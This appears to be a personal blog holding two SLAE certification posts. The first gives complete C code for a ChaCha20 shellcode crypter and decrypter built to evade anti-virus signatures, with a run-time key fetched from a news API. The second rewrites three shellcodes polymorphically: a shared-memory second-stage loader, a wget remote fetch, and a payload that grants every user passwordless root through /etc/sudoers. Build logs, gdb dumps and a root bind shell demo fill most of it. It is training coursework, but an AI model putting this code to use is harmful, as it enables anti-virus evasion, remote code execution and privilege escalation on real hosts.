tcunha.github.io

The lesson of history is that no one learns.

SLAE 0x07: Crypter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

This final exercise consists in using a custom crypter and decrypter to evade anti-virus engines, since signatures are used most of the time.

They are both taking advantage of the EVP functions provided by OpenSSL. The chosen algorithm was the ChaCha20 stream cipher with a random IV (12 bytes) and a key (32 bytes) retrieved on run-time. The key is the SHA256 of the id of the latest news of a configured section by using the public API provided by The Guardian.

crypter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <openssl/conf.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/rand.h>

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "common.h"

unsigned char shellcode[] = STR(SHELLCODE);

int
main(void)
{
  EVP_CIPHER_CTX  *ctx;
  unsigned char    b[BUFSIZ];     /* Crypted buffer (should be enough). */
  unsigned char    iv[12];        /* The IV length is 96 bits. */
  unsigned char    key[32];       /* The key length is 256 bits. */
  unsigned char   *ptr = b;
  int              bl, ol;

  common_key(key);                                /* Get dynamic key. */

  if (RAND_bytes(iv, sizeof iv) == 0)             /* Get a random IV. */
      CRYPTER_SSLERR();
  if ((ctx = EVP_CIPHER_CTX_new()) == NULL)
      CRYPTER_SSLERR();
  if (EVP_EncryptInit_ex(ctx, EVP_chacha20(), NULL, key, iv) == 0)
      CRYPTER_SSLERR();
  if (EVP_EncryptUpdate(
      ctx, b, &bl, shellcode, strlen((char *) shellcode)) == 0)
      CRYPTER_SSLERR();
  if (EVP_EncryptFinal_ex(ctx, b + bl, &ol) == 0)
      CRYPTER_SSLERR();

  /* Check for NUL bytes in the crypted shellcode. */
  while (ptr != b + bl + ol) {    /* Final buffer size is bl plus ol. */
      if (*ptr == 0)
          errx(1, "NUL byte found!"); /* There might be more! */
      ptr++;
  }

  for (ptr = key; ptr != key + sizeof key; ptr++)
      printf("\\x%02x", *ptr);
  puts("");

  /* Print the shellcode prefixed with the randomly generated IV. */
  for (ptr = iv; ptr != iv + sizeof iv; ptr++)
      printf("\\x%02x", *ptr);
  for (ptr = b; ptr != b + bl + ol; ptr++)
      printf("\\x%02x", *ptr);
  puts("");

  return (0);
}

The common key retrieval code depends on cURL. Installing the header and library files, like with OpenSSL, is also needed:

key retrieval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <curl/curl.h>

#include <openssl/sha.h>

#include <err.h>
#include <stdio.h>
#include <string.h>

#define COMMON_APIKEY           "decfe466-4db7-4a7c-b0b8-f067cceaf94d"
#define COMMON_BASE             "https://content.guardianapis.com"
#define COMMON_ENDPOINT         "/search"
#define COMMON_ENDPOINT_ARGS    "?section=science&page-size=1&api-key="
#define COMMON_URL              \
    COMMON_BASE                 \
    COMMON_ENDPOINT             \
    COMMON_ENDPOINT_ARGS        \
    COMMON_APIKEY

size_t
common_write(char *ptr, size_t size, size_t nmemb, void *userdata)
{
  char    *buf = (char *) userdata;

  strncpy(buf, ptr, BUFSIZ - 1);
  buf[BUFSIZ - 1] = '\0';         /* Guarantee a NUL. */

  return (nmemb * size);          /* Size is always 1; no overflow. */
}

void
common_key(unsigned char *key)
{
  CURL            *curl;
  char            *end;
  const char      *start;
  char             r[BUFSIZ];     /* Response (should be enough). */

  if (curl_global_init(CURL_GLOBAL_ALL) != 0)
      errx(1, "curl_global_init");
  if ((curl = curl_easy_init()) == NULL)
      errx(1, "curl_easy_init");
  if (curl_easy_setopt(curl, CURLOPT_URL, COMMON_URL) != 0)
      errx(1, "curl_easy_setopt");
  if (curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, common_write) != 0)
      errx(1, "curl_easy_perform");
  if (curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *) &r) != 0)
      errx(1, "curl_easy_perform");
  if (curl_easy_perform(curl) != 0)
      errx(1, "curl_easy_perform");

  /* Generate a key by finding the id and performing a SHA256 over it. */
  if ((start = strstr(r, "id")) == NULL)
      errx(1, "start not found");
  start += 5;                             /* Go over the attribute. */

  if ((end = strchr(start, '"')) == NULL)
      errx(1, "end not found");
  *end = '\0';                            /* Turn it into a NUL byte. */

  /* The key needs to be 32 bytes. */
  printf("Generating key from: %s\n", start);
  SHA256((unsigned char *) start, strlen(start), key);
}
decrypter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <openssl/conf.h>
#include <openssl/err.h>
#include <openssl/evp.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "common.h"

unsigned char shellcode[] = STR(SHELLCODE);

int
main(void)
{
  EVP_CIPHER_CTX  *ctx;
  unsigned char    b[BUFSIZ];
  unsigned char    iv[12];        /* The IV length is 96 bits. */
  unsigned char    key[32];       /* The key length is 256 bits. */
  unsigned char   *ptr = shellcode + 12;
  int              bl, ol;

  common_key(key);                        /* Get dynamic key. */
  memcpy(iv, shellcode, sizeof iv);       /* Save the prefixed IV. */

  if ((ctx = EVP_CIPHER_CTX_new()) == NULL)
      CRYPTER_SSLERR();
  if (EVP_DecryptInit_ex(ctx, EVP_chacha20(), NULL, key, iv) == 0)
      CRYPTER_SSLERR();
  if (EVP_DecryptUpdate(
      ctx, b, &bl, ptr, strlen((char *) shellcode) - sizeof iv) == 0)
      CRYPTER_SSLERR();
  if (EVP_DecryptFinal_ex(ctx, b + bl, &ol) == 0)
      CRYPTER_SSLERR();

  (*(void(*)(void)) b)();         /* Execute decrypted shellcode. */
  return (0);                     /* NOTREACHED */
}

Executing the crypter yields the following output. Like with the previous exercises, the shellcode to execute can be tweaked by the SHELLCODE variable:

1
2
3
4
$ make crypter SHELLCODE=../0x01-bind/bind
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
\xeb\x97\x33\xb0\xf6\x5a\x73\x32\x31\x34\xc8\x00\x63\x34\x98\x8e\x47\x2d\xdc\x6f\xc4\x1f\x83\x81\xf9\x04\x1b\xc9\x96\x86\x6f\xe2
\xcb\x1a\x5c\x61\x70\x5e\x82\x09\x59\x4f\xe6\x42\x1a\x62\xb9\xa6\x43\x09\xdf\x99\x33\x22\xf4\xfa\x41\xa5\x27\x6a\xe7\xfc\x76\x6a\x86\x5e\xa2\x8b\xf3\x3f\x5c\x90\xe9\xeb\x38\x4a\x0f\x30\xdb\x20\x4a\x8f\xcd\x8a\xa2\x53\xaf\xc4\x03\x1b\xe8\xf5\x9e\xe4\xed\xa6\x43\xc5\x92\xdd\xb9\x20\x0d\x1a\xb0\x95\xe7\x33\xd0\x44\x1b\x05\x47\x1c\x59\x3f\x99\xe1\xd2\x74\x62\x6d\x2b\x85\x55\xe2

The decrypter target already takes care of executing the crypter with the specified shellcode and extracting it from the above output:

1
2
3
4
5
6
7
8
9
10
$ make decrypter
cc -W -Wall -Wformat=2 -fno-stack-protector -zexecstack -ggdb -DSHELLCODE=`./crypter|tail -n1`  -c -o decrypter.o decrypter.c
cc -lcrypto -lcurl -zexecstack  decrypter.o common.o   -o decrypter
# ./decrypter
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
$ ss -nlt|grep 4242
LISTEN     0      0                                                         *:4242                                                                  *:*
$ nc 127.0.0.1 4242
id
uid=0(root) gid=0(root) groups=0(root)

Printing the contents of the decrypted buffer shows that the shellcode payload was correctly decrypted and is not gibberish unlike the original provided one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(gdb) b 36
Breakpoint 1 at 0xb22: file decrypter.c, line 36.
(gdb) r
Starting program: /attic/slae/exam/0x07-crypter/decrypter
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[New Thread 0xb7a9bb40 (LWP 1008)]
[Thread 0xb7a9bb40 (LWP 1008) exited]
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners

Thread 1 "decrypter" hit Breakpoint 1, main () at decrypter.c:36
36              (*(void(*)(void)) b)();         /* Execute decrypted shellcode. */
(gdb) x/10i b
   0xbfffd648:  xor    eax,eax
   0xbfffd64a:  xor    esi,esi
   0xbfffd64c:  cdq
   0xbfffd64d:  mov    ax,0x167
   0xbfffd651:  push   0x2
   0xbfffd653:  pop    ebx
   0xbfffd654:  push   0x1
   0xbfffd656:  pop    ecx
   0xbfffd657:  int    0x80
   0xbfffd659:  xchg   ebx,eax
(gdb) x/10i ptr
   0x40308c <shellcode+12>:     sti
   0x40308d <shellcode+13>:     outs   dx,BYTE PTR ds:[esi]
   0x40308e <shellcode+14>:     sar    dh,0xcc
   0x403091 <shellcode+17>:     and    cl,BYTE PTR [edi+eiz*8+0x36aa830f]
   0x403098 <shellcode+24>:     outs   dx,BYTE PTR ds:[esi]
   0x403099 <shellcode+25>:     fmul   QWORD PTR [edx-0x6c]
   0x40309c <shellcode+28>:     cmp    al,0xb5
   0x40309e <shellcode+30>:     xchg   BYTE PTR [eax-0x58bfcbc1],dh
   0x4030a4 <shellcode+36>:     or     ah,dl
   0x4030a6 <shellcode+38>:     sub    ecx,esi

SLAE 0x06: Polymorphic Shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

The sixth exercise consisted of choosing 3 linux/x86 shellcodes from shell-storm.org and polymorphically alter them. The resulting shellcode should have at the most 150% the size of the original one.

This technique is useful for bypassing anti-virus engines where common operations are fingerprinted and blacklisted. By modifying a shellcode with semantically equivalent instructions, the shellcode will be harder to detect.

1. Shared memory exec (369)

This shellcode consists of attaching to a shared memory region and executing the in memory shellcode. It’s initial size is 50 bytes, therefore its polymorphic code must be 75 bytes maximum, according to the requirements.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
global _start

section .text
_start:
  xor edi, edi
  xor esi, esi
  xor edx, edx

  mov ecx, 0xdeadbeef     ; key
  xor ebx, ebx
  mov bl, 0x17            ; shmget
  ; edx is already zero from the above
  ; esi is already zero frm the above
  xor eax, eax
  mov al, 0x75
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  xor edi, edi
  mov esi, 0xbffffffa     ; address
  xor edx, edx
  mov ecx, eax            ; move shm id returned by the shmget above
  xor ebx, ebx
  mov bl, 0x15            ; shmat
  xor eax, eax
  mov al, 0x75
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  ; push logical address to the stack and jump to it after the ret
  mov eax, 0xbffffffa
  push dword [eax]
  ret

The above original shellcode will obtain the identifier associated with the provided shared memory key, attach to it and jump to the in memory executable code, if any.

This is using the ipc(2) system call, where like socketcall(2), its first argument is the IPC function to invoke. However, unlike the socket system calls which are now exported on x86, the IPC ones aren’t.

Its fourth parameter (third in the prototype) is a user-provided logical address pointer where the contents of the shared memory can be accessed.

ipc(2) prototype
1
int ipc(unsigned int call, int first, int second, int third, void *ptr, long fifth);
retrieving the system call number and constants
1
2
3
4
5
6
7
8
$ asm-syscall ipc
#define __NR_ipc 117
0x75
$ grep SHM /usr/include/linux/ipc.h
#define SHMAT           21
#define SHMDT           22
#define SHMGET          23
#define SHMCTL          24

The registers for the two ipc(2) system calls will, then, have the following respective values:

+----------+---------------+
| register |     value     |
+----------+---------------+
| eax      | 117           |
| ebx      | 23            | <== shmget(2)
| ecx      | 0xdeafbeef    |
| edx      | 0             | <== size is specified by the creator
| esi      | 0             | <== so are the flags
| edi      | 0             |
| ebp      | 0             |
+----------+---------------+
| return   | id            |
+----------+---------------+

+----------+---------------+
| register |     value     |
+----------+---------------+
| eax      | 117           |
| ebx      | 21            | <== shmat(2)
| ecx      | shmget(2) id  |
| edx      | 0             | <== flags
| esi      | address       |
| edi      | 0             |
| ebp      | 0             |
+----------+---------------+

Initially, couldn’t get it to work due to the hard-coded shared memory logical address. Substituting it with the current logical address of the stack allows to correctly read the contents off the shared memory.

The below polymorphic shellcode also gets the shared memory key by negating its initial value and performing logic and mathematical operations on the registers and is 11 bytes smaller than the original:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
global _start

section .text
_start:
  xor eax, eax
  cdq                     ; make edx zero, as well

  ; ipc(2) has a bunch of parameters, zero them all
  lea ebx, [eax]
  and esi, ebx
  sub edi, edi
  xor ebp, ebp

  mov ecx, 0x35014542     ; key in two's complement
  neg ecx                 ; key
  add bl, 0x17            ; shmget (ebx is already zero)
  ; edx, esi and ebp are already zero from the above
  or al, 0x75             ; eax is already zero
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  mov esi, esp            ; use stack logical address
  mov ecx, eax            ; move shm id returned by the shmget above
  dec ebx
  dec ebx                 ; shmat (0x2 less than shmget)
  ; edx, esi and ebp are already zero from the above
  and eax, ebp            ; make it zero
  add al, 0x75
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  jmp [esi]               ; finally jump to the second stage shellcode

Just like with the egghunter exercise, a custom second stage shellcode can be specified via the STAGE2 variable, which will be copied to the shared memory region:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ make PROG=369 STAGE2=../0x01-bind/bind
nasm  -f elf32 -o 369.o 369.asm
ld -N -zexecstack -o 369 369.o
08048080 <_start>:
 8048080:       31 c0                   xor    eax,eax
 8048082:       99                      cdq
 8048083:       8d 18                   lea    ebx,[eax]
 8048085:       21 de                   and    esi,ebx
 8048087:       29 ff                   sub    edi,edi
 8048089:       31 ed                   xor    ebp,ebp
 804808b:       b9 42 45 01 35          mov    ecx,0x35014542
 8048090:       f7 d9                   neg    ecx
 8048092:       80 c3 17                add    bl,0x17
 8048095:       0c 75                   or     al,0x75
 8048097:       cd 80                   int    0x80
 8048099:       89 e6                   mov    esi,esp
 804809b:       89 c1                   mov    ecx,eax
 804809d:       4b                      dec    ebx
 804809e:       4b                      dec    ebx
 804809f:       21 e8                   and    eax,ebp
 80480a1:       04 75                   add    al,0x75
 80480a3:       cd 80                   int    0x80
 80480a5:       ff 26                   jmp    DWORD PTR [esi]
Shellcode size: 39
\x31\xc0\x99\x8d\x18\x21\xde\x29\xff\x31\xed\xb9\x42\x45\x01\x35\xf7\xd9\x80\xc3\x17\x0c\x75\xcd\x80\x89\xe6\x89\xc1\x4b\x4b\x21\xe8\x04\x75\xcd\x80\xff\x26
cc -DSHELLCODE=`asm-opcodes 369` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode 369.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <sys/shm.h>

#include <err.h>
#include <stdio.h>
#include <string.h>

#define QUOTE(s)        #s
#define SHM_SIZE        512
#define STR(s)          QUOTE(s)

unsigned char shellcode[] = STR(SHELLCODE);
unsigned char stage2[] = STR(STAGE2);

int
main(void)
{
  int      shmid;
  void    *addr;

  if ((shmid = shmget(0xcafebabe, SHM_SIZE, 0644|IPC_CREAT)) == -1)
      err(1, "shmget");
  if ((addr = shmat(shmid, NULL, 0)) == (void *) -1)
      err(1, "shmat");
  memcpy(addr, stage2, SHM_SIZE);

  printf("Shellcode length: %zu\n", sizeof shellcode - 1);
  (*(void(*)(void)) shellcode)();

  return (0);
}

Breaking just before the jmp call, the contents of the second stage shellcode are correctly referenced:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(gdb) b *0x00402085
Breakpoint 2 at 0x402085
(gdb) continue
Continuing.
Dump of assembler code for function shellcode:
   0x00402060 <+0>:     xor    eax,eax
   0x00402062 <+2>:     cdq
   0x00402063 <+3>:     lea    ebx,[eax]
   0x00402065 <+5>:     and    esi,ebx
   0x00402067 <+7>:     sub    edi,edi
   0x00402069 <+9>:     xor    ebp,ebp
   0x0040206b <+11>:    mov    ecx,0x35014542
   0x00402070 <+16>:    neg    ecx
   0x00402072 <+18>:    add    bl,0x17
   0x00402075 <+21>:    or     al,0x75
   0x00402077 <+23>:    int    0x80
   0x00402079 <+25>:    mov    esi,esp
   0x0040207b <+27>:    mov    ecx,eax
   0x0040207d <+29>:    dec    ebx
   0x0040207e <+30>:    dec    ebx
   0x0040207f <+31>:    and    eax,ebp
   0x00402081 <+33>:    add    al,0x75
   0x00402083 <+35>:    int    0x80
=> 0x00402085 <+37>:    jmp    DWORD PTR [esi]
   0x00402087 <+39>:    add    BYTE PTR [eax],al
End of assembler dump.
$2 = [ IF ]

Breakpoint 2, 0x00402085 in shellcode ()
(gdb) i r esi
esi            0xbffff62c       -1073744340
(gdb) x/10i *$esi
   0xb7fd2000:  xor    eax,eax
   0xb7fd2002:  xor    esi,esi
   0xb7fd2004:  cdq
   0xb7fd2005:  mov    ax,0x167
   0xb7fd2009:  push   0x2
   0xb7fd200b:  pop    ebx
   0xb7fd200c:  push   0x1
   0xb7fd200e:  pop    ecx
   0xb7fd200f:  int    0x80
   0xb7fd2011:  xchg   ebx,eax
1
2
3
4
5
6
7
8
9
# ./shellcode
Shellcode length: 39
Second stage length: 82
$ ss -nlt|grep 4242
LISTEN     0      0            *:4242                     *:*
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)

2. Remote file download (611)

The objective of this one consists in calling /usr/bin/wget via execve(2) and fetch the remote aaaa resource. It’s size is 42 bytes, meaning that its morphed code must be at the most 63 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
global _start

section .text
_start:
  push byte +0xb
  pop eax
  ; int execve(const char *, char *const [], char *const [])
  cdq                     ; set edx to zero, as well

  push edx                ; push the terminating nul byte
  push dword 0x61616161   ; aaaa
  mov ecx, esp            ; save address of arguments
  push edx                ; push the terminating nul byte
  push byte +0x74         ; t
  push dword 0x6567772f   ; /wge
  push dword 0x6e69622f   ; /bin
  push dword 0x7273752f   ; /usr
  mov ebx, esp            ; filename
  push edx                ; push the terminating nul byte
  push ecx                ; push the address of the arguments
  push ebx                ; push the address of the filename
  mov ecx, esp            ; argv
  ; edx is already zero from the above cdq instruction
  int 0x80

  inc eax
  int 0x80

Trying to execute it does, indeed, fetch the remote resource. In the modified shellcode I’ve opted to remove the last two instructions, since if the execve(2) system call fails -1 is returned, thus incrementing eax would make the code call restart_syscall(2).

1
2
3
4
$ ./611
--2018-08-08 22:00:10--  http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'

To save space, pointer arithmetic operations on stack values are performed with the ebp register, instead of with esp. The offsets are, also, statically calculated by the code. The resulting morphed shellcode is 21 bytes bigger, making it the maximum 63 bytes allowed by the requirements:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
global _start

section .text
_start:
  push 0xffffffff
  pop eax
  neg eax
  add al, 0xa                     ; make it 0xb
  ; int execve(const char *, char *const [], char *const [])
  cdq                             ; make edx zero, as well

  ; make the base pointer the same as the current stack pointer, since
  ; operations with pointers are one byte smaller with the former
  mov ebp, esp

  push edx                        ; nul character
  push 0x61616161                 ; fetch this resource

  push edx                        ; nul character
  push edx                        ; the stack might be full of garbage
  mov byte [ebp - 0x10], 0x74     ; overwrite LSB with a t
  ; no need to sub the stack pointer here, only the current double word
  ; LSB was changed

  push 0xcaceee5e
  ror dword [esp], 0x1            ; /wge
  push 0xdcd2c45e
  ror dword [esp], 0x1            ; /bin
  push 0xe4e6ea5e
  ror dword [esp], 0x1            ; /usr

  push esp
  pop ebx                         ; filename
  lea ecx, [ebp - 0x8]            ; save a pointer to the arguments

  push edx
  mov dword [ebp - 0x24], ecx     ; save the pointer to the arguments
  mov dword [ebp - 0x28], ebx     ; save the pointer to the command
  lea ecx, [ebp - 0x28]           ; argv

  ; edx is already zero by the above cdq instruction
  int 0x80

The stack and registers before the execve(2) system call will have the following layout and values, as it can be seen from the gdb output:

+------------+
|   random   | <==== ebp
+------------+
| 0x00000000 | <==== ebp - 0x04
+------------+
| 0x61616161 | <==== ebp - 0x08 (ecx)
+------------+
| 0x00000000 | <==== ebp - 0x0c
+------------+
| 0x00000074 | <==== ebp - 0x10
+------------+
| 0x6567772f | <==== ebp - 0x14
+------------+
| 0x6e69622f | <==== ebp - 0x18
+------------+
| 0x7273752f | <==== ebp - 0x1c (ebx)
+------------+
| 0x00000000 | <==== ebp - 0x20
+------------+
|  ecx  ptr  | <==== ebp - 0x24
+------------+
|  ebx  ptr  | <==== ebp - 0x28 (ecx)
+------------+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(gdb) b *0x0040207d
Breakpoint 2 at 0x40207d
(gdb) continue
Continuing.
Dump of assembler code for function shellcode:
   0x00402040 <+0>:     push   0xffffffff
   0x00402042 <+2>:     pop    eax
   0x00402043 <+3>:     neg    eax
   0x00402045 <+5>:     add    al,0xa
   0x00402047 <+7>:     cdq
   0x00402048 <+8>:     mov    ebp,esp
   0x0040204a <+10>:    push   edx
   0x0040204b <+11>:    push   0x61616161
   0x00402050 <+16>:    push   edx
   0x00402051 <+17>:    push   edx
   0x00402052 <+18>:    mov    BYTE PTR [ebp-0x10],0x74
   0x00402056 <+22>:    push   0xcaceee5e
   0x0040205b <+27>:    ror    DWORD PTR [esp],1
   0x0040205e <+30>:    push   0xdcd2c45e
   0x00402063 <+35>:    ror    DWORD PTR [esp],1
   0x00402066 <+38>:    push   0xe4e6ea5e
   0x0040206b <+43>:    ror    DWORD PTR [esp],1
   0x0040206e <+46>:    push   esp
   0x0040206f <+47>:    pop    ebx
   0x00402070 <+48>:    lea    ecx,[ebp-0x8]
   0x00402073 <+51>:    push   edx
   0x00402074 <+52>:    mov    DWORD PTR [ebp-0x24],ecx
   0x00402077 <+55>:    mov    DWORD PTR [ebp-0x28],ebx
   0x0040207a <+58>:    lea    ecx,[ebp-0x28]
=> 0x0040207d <+61>:    int    0x80
   0x0040207f <+63>:    add    BYTE PTR [eax],al
End of assembler dump.
$50 = [ IF OF ]
0x0040207d in shellcode ()
(gdb) x/10w $esp - 8
0xbffff624:     0xbffff630      0xbffff644      0x00000000      0x7273752f
0xbffff634:     0x6e69622f      0x6567772f      0x00000074      0x00000000
0xbffff644:     0x61616161      0x00000000
(gdb) x/s 0xbffff630
0xbffff630:     "/usr/bin/wget"
(gdb) x/s 0xbffff644
0xbffff644:     "aaaa"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ make PROG=611
nasm  -f elf32 -o 611.o 611.asm
ld -N -zexecstack -o 611 611.o
08048080 <_start>:
 8048080:       6a ff                   push   0xffffffff
 8048082:       58                      pop    eax
 8048083:       f7 d8                   neg    eax
 8048085:       04 0a                   add    al,0xa
 8048087:       99                      cdq
 8048088:       89 e5                   mov    ebp,esp
 804808a:       52                      push   edx
 804808b:       68 61 61 61 61          push   0x61616161
 8048090:       52                      push   edx
 8048091:       52                      push   edx
 8048092:       c6 45 f0 74             mov    BYTE PTR [ebp-0x10],0x74
 8048096:       68 5e ee ce ca          push   0xcaceee5e
 804809b:       d1 0c 24                ror    DWORD PTR [esp],1
 804809e:       68 5e c4 d2 dc          push   0xdcd2c45e
 80480a3:       d1 0c 24                ror    DWORD PTR [esp],1
 80480a6:       68 5e ea e6 e4          push   0xe4e6ea5e
 80480ab:       d1 0c 24                ror    DWORD PTR [esp],1
 80480ae:       54                      push   esp
 80480af:       5b                      pop    ebx
 80480b0:       8d 4d f8                lea    ecx,[ebp-0x8]
 80480b3:       52                      push   edx
 80480b4:       89 4d dc                mov    DWORD PTR [ebp-0x24],ecx
 80480b7:       89 5d d8                mov    DWORD PTR [ebp-0x28],ebx
 80480ba:       8d 4d d8                lea    ecx,[ebp-0x28]
 80480bd:       cd 80                   int    0x80
Shellcode size: 63
\x6a\xff\x58\xf7\xd8\x04\x0a\x99\x89\xe5\x52\x68\x61\x61\x61\x61\x52\x52\xc6\x45\xf0\x74\x68\x5e\xee\xce\xca\xd1\x0c\x24\x68\x5e\xc4\xd2\xdc\xd1\x0c\x24\x68\x5e\xea\xe6\xe4\xd1\x0c\x24\x54\x5b\x8d\x4d\xf8\x52\x89\x4d\xdc\x89\x5d\xd8\x8d\x4d\xd8\xcd\x80
cc -DSHELLCODE=`asm-opcodes 611` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1
2
3
4
5
$ ./shellcode
Shellcode length: 63
--2018-08-08 23:02:04--  http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'

3. Edit /etc/sudoers for full access (62)

The final one grants root access to every single user on the machine. It’s size is 86 bytes, meaning that the altered shellcode should be at the most 129 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
global _start

section .text:
_start:
  xor eax, eax
  push eax                        ; nul character
  push dword 0x7372656f           ; oers
  push dword 0x6475732f           ; /sud
  push dword 0x6374652f           ; /etc
  mov ebx, esp                    ; pathname
  mov cx, 0x401                   ; flags (O_WRONLY | O_APPEND)
  mov al, 0x5
  ; int open(const char *, int)
  int 0x80

  mov ebx, eax                    ; move new file descriptor
  xor eax, eax
  push eax                        ; nul character
  push dword 0xa4c4c41            ; ALL
  push dword 0x203a4457           ; WD:
  push dword 0x53534150           ; PASS
  push dword 0x4f4e2029           ; ) NO
  push dword 0x4c4c4128           ; (ALL
  push dword 0x3d4c4c41           ; ALL=
  push dword 0x204c4c41           ; ALL
  mov ecx, esp                    ; buf
  mov dl, 0x1c                    ; count
  mov al, 0x4
  ; ssize_t write(int, const void *, size_t)
  int 0x80

  mov al, 0x6
  ; int close(int)
  int 0x80

  xor ebx,ebx
  mov al, 0x1
  ; int exit(int)
  int 0x80

Decided to drop the close(2) and exit(2) system calls since they don’t bring any advantages whatsoever and moreover, prunning them allowed to focus more on MMX, FPU and SSE instructions. The total size of the morphed code is 128 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
global _start

section .text
_start:
  push esp
  ; make the base pointer the same as the current stack pointer, since
  ; operations with pointers are one byte smaller with the former
  pop ebp

  xor eax, eax
  cdq                             ; make edx zero, too

  push 0xcafebabe                 ; initial xor value
  push edx                        ; nul character
  push 0xb98cdfd1
  push 0x17071640
  movd mm0, [ebp - 0x4]           ; load initial xor value
  pxor mm0, [ebp - 0xc]           ; oers
  movd [ebp - 0xc], mm0           ; overwrite result on the stack
  pxor mm0, [ebp - 0x10]          ; /sud (xor with the previous result)
  movd [ebp - 0x10], mm0          ; overwrite result on the stack
  emms                            ; done with mmx, switch to x87
  push 0x6374652e                 ; .etc
  mov ebx, esp                    ; pathname
  inc byte [ebx]                  ; make the first character a slash
  push 0x20
  fild dword [esp]                ; load current value on the stack
  fmul st0                        ; multiply by itself
  fist dword [esp]                ; overwrite value on the stack
  pop ecx
  inc ecx                         ; flags (O_WRONLY | O_APPEND)
  or al, 0x5
  ; int open(const char *, int)
  int 0x80

  xchg ebx, eax                   ; move new file descriptor
  push edx                        ; nul character
  push 0x0a4c4c41                 ; ALL
  push 0x203a4457                 ; WD:
  push 0x53534150                 ; PASS
  push 0x4f4e2029                 ; ) NO
  push 0x4c4c4128                 ; (ALL
  push 0x3d4c4c41                 ; ALL=
  push 0x204c4c41                 ; ALL
  mov ecx, esp                    ; buf
  or dl, 0x1c                     ; count (28 bytes)
  push 0x2
  movss xmm0, [esp]
  addss xmm0, [esp]
  movd eax, xmm0
  ; ssize_t write(int, const void *, size_t)
  int 0x80

To partially build the filename, the MMX XOR functions were used with an initial XOR value. The resulting value serves as the XOR value to the next one:

0xcafebabe ^ 0xb98cdfd1 = 0x7372656f ^ 0x17071640 = 0x6475732f

Following that, the emms instruction is issued to signal the CPU that MMX operations are done and the shared registers are going to be used by the x87 FPU, which is going to be needed by the fmul instruction to calculate the flags for the open(2) system call:

O_WRONLY | O_APPEND = 0x401 = (0x20 * 0x20) + 0x1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ make PROG=62
nasm  -f elf32 -o 62.o 62.asm
ld -N -zexecstack -o 62 62.o
08048080 <_start>:
 8048080:       54                      push   esp
 8048081:       5d                      pop    ebp
 8048082:       31 c0                   xor    eax,eax
 8048084:       99                      cdq
 8048085:       68 be ba fe ca          push   0xcafebabe
 804808a:       52                      push   edx
 804808b:       68 d1 df 8c b9          push   0xb98cdfd1
 8048090:       68 40 16 07 17          push   0x17071640
